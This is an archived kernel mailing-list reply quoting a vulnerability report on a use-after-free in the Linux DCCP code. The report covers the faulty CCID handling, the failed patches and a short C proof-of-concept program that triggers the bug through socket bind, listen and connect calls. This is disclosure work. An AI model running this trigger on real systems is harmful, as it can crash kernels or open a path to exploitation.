Thread (1 message) 1 message, 1 author, 2020-06-20
  • (off-list ancestor, not in this archive)
  • Re: DCCP Bug report · Dan Carpenter <hidden> · 2020-06-20

Re: DCCP Bug report

From: Dan Carpenter <hidden>
Date: 2020-06-20 17:35:04

This one is already publicly known because syzbot discovered it last
November.  I have added netdev to the CC list.  Unfortunately, DCCP
seems orphaned.

https://lore.kernel.org/lkml/20191121201433.GD617@kadam/ (local)

regards,
dan carpenter

On Fri, Jun 19, 2020 at 05:59:58PM -0300, Leonardo Almiñana wrote:
A similar bug to CVE-2017-8824 has been (RE)introduced in the Linux kernel.

When a DCCP socket connection happens one of the functions called is
dccp_hdlr_ccid.

static int dccp_hdlr_ccid(struct sock *sk, u64 ccid, bool rx)
{
    struct dccp_sock *dp = dccp_sk(sk);
    struct ccid *new_ccid = ccid_new(ccid, sk, rx);

    if (new_ccid == NULL)
        return -ENOMEM;

    if (rx) {
        ccid_hc_rx_delete(dp->dccps_hc_rx_ccid, sk);
        dp->dccps_hc_rx_ccid = new_ccid;
    } else {
        ccid_hc_tx_delete(dp->dccps_hc_tx_ccid, sk);
        dp->dccps_hc_tx_ccid = new_ccid;
    }
    return 0;
}

The function allocates a new CCID and assigns it to the sock.
* If an old CCID is found then it's deleted.

void ccid_hc_rx_delete(struct ccid *ccid, struct sock *sk)
{
    if (ccid != NULL) {
        if (ccid->ccid_ops->ccid_hc_rx_exit != NULL)
            ccid->ccid_ops->ccid_hc_rx_exit(sk);
        kmem_cache_free(ccid->ccid_ops->ccid_hc_rx_slab, ccid);
    }
}

void ccid_hc_tx_delete(struct ccid *ccid, struct sock *sk)
{
    if (ccid != NULL) {
        if (ccid->ccid_ops->ccid_hc_tx_exit != NULL)
            ccid->ccid_ops->ccid_hc_tx_exit(sk);
        kmem_cache_free(ccid->ccid_ops->ccid_hc_tx_slab, ccid);
    }
}

When the socket is disconnected dccp_disconnect is invoked, this function
leaves dp->dccps_hc_tx_ccid unaltered.

It is possible to copy the socket including dangling references. To
accomplish
it the socket has to be put into LISTEN state.

struct sock *dccp_create_openreq_child(const struct sock *sk,
                       const struct request_sock *req,
                       const struct sk_buff *skb)
{
    /*
    * Step 3: Process LISTEN state
    *
    * (* Generate a new socket and switch to that socket *)
    * Set S := new socket for this port pair
    */

    struct sock *newsk = inet_csk_clone_lock(sk, req, GFP_ATOMIC);

    [...]

    /*
    * Activate features: initialise CCIDs, sequence windows etc.
    */
    if (dccp_feat_activate_values(newsk, &dreq->dreq_featneg)) {
        sk_free_unlock_clone(newsk);
        return NULL;
    }

    [...]
}

The call to inet_csk_clone_lock allocates a new socket and
the contents of sk are copied to newsk. Next dccp_feat_activate_values gets
called, which ends up calling dccp_hdlr_ccid.

Since the copy contains a non-NULL pointer ccid_hc_tx_delete will be called
to
destroy the CCID object while the source socket is still holding references
to
it. The UAF can be triggered by operating over the CCIDs from the original
sock
after the child sock has freed it.


Original patch that "fixed" CVE-2017-8824:
https://github.com/torvalds/linux/commit/69c64866ce072dea1d1e59a0d61e0f66c0dffb76

The patch was broken as it can been seen the following commit:
https://github.com/torvalds/linux/commit/67f93df79aeefc3add4e4b31a752600f834236e2

Things were still broken, so ccid_hc_tx_delete was removed :
https://github.com/torvalds/linux/commit/2677d20677314101293e6da0094ede7b5526d2b1

The last patch leaves things almost exactly as they were with CVE-2017-8824.
The difference is that now only TX is affected, making exploitation harder
for
the following reasons:
    - RX's size made it easy to produce kmalloc block collisions, with TX
it isn't.
    - The actual freeing of the object is deferred and might happen in a
different
      context because of RCU.


Proof of Concept
================

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>


int main(int argc, char *argv[])
{
    struct sockaddr_in in1 =
    {
        .sin_family = AF_INET,
        .sin_port = 0xaaaa
    };

    struct sockaddr_in in2 =
    {
        .sin_family = AF_INET,
        .sin_port = 0xbbbb
    };

    struct sockaddr_in in3 = { 0 };

    int fd1 = socket(PF_INET, SOCK_DCCP, 0);
    int fd2 = socket(PF_INET, SOCK_DCCP, 0);

    bind(fd1, (struct sockaddr*)&in1, sizeof(in1));
    listen(fd1, 1);
    connect(fd2, (struct sockaddr*)&in1, sizeof(in1));
    connect(fd1, (struct sockaddr*)&in3, sizeof(in3));
    connect(fd2, (struct sockaddr*)&in3, sizeof(in3));
    bind(fd2, (struct sockaddr*)&in2, sizeof(in2));
    listen(fd2, 1);
    connect(fd1, (struct sockaddr*)&in2, sizeof(in2));
    close(fd1);
    close(fd2);

    return 0;
}

### ### ### ### ### ### ### ### ### ### ### ### ###

Please use my company email for any future communications, I was forced to
use this one at the moment because your MTA refuses to accept the email
from our provider (zoho) due to a spamcop related issue.

leonardo.alminana@tacitosecurity.com

Regards.

Leonardo Almiñana
Tacito Security
Keyboard shortcuts
hback out one level
jnext message in thread
kprevious message in thread
ldrill in
Escclose help / fold thread tree
?toggle this help